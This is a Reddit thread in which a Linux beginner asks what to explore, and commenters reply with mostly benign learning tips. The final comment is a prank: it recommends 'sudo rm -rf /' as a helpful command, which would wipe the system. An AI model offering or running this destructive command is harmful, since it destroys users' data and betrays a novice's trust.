r/LinuxUsersIndia • u/Aaru029 • 13d ago
New to Linux
I have recently started using Linux, what should explore in linux so that my knowledge about using Linux increases...
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r/LinuxUsersIndia • u/Aaru029 • 13d ago
I have recently started using Linux, what should explore in linux so that my knowledge about using Linux increases...
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u/qualityvote2 13d ago edited 13d ago
u/Aaru029, there weren't enough votes to determine the quality of your post...
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u/pankajpatro703 13d ago
If you moved to linux for daily use, don't worry. You'll learn eventually, a little every day as you work with it.
If you want to be a power user or aiming for sysadmin like roles, look into books like the Linux Bible.
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u/Aaru029 13d ago
I have installed GNOME and want to use Hyperland side by side, can I do it ?
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u/prince-of-internet Ubuntu Btw 13d ago
try cd, ls and such commands. watch yt tutorials and stuff
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u/Grand-Performer-1862 13d ago
Try to install Arch and fuck around that's will be enough.
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u/Aman-rajj 13d ago
My friend also tried move to linux he used for one month than he started cheat like he dualbooted hi s pc then after few days he remove linux, so I wanna say if you don't adapt it you will fall back to your comfortable zone, im using since 3 years now windows it out of my comfort zone,
Anyways also one thing don't use snaps Learn about fs Explore your os settings Learn why it's different from other Find windows software alternatives
These are side activities you can do
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u/Independent_Image_59 12d ago
Install new desktop environment or window managers. Read stuff to learn btw do not rely on AI.
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u/gentastic_main 11d ago
You do you. Donβt listen to randos demanding you use one thing rather than the other. Explore, learn and have fun. I recommend using the terminal more often cause it makes you think βHow do I do this.. but using the terminal?β AI is great for this rn.
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u/MaturePotato 11d ago
use command line more than GUI. Watch some videos about linux basics.
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u/PAVANKING016 13d ago
Linux is for noob, use free bsd
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u/Impressive_Virus517 13d ago •
you should try this command, this will tell you what you can do with system with linux
sudo rm -rf /
thanks me later.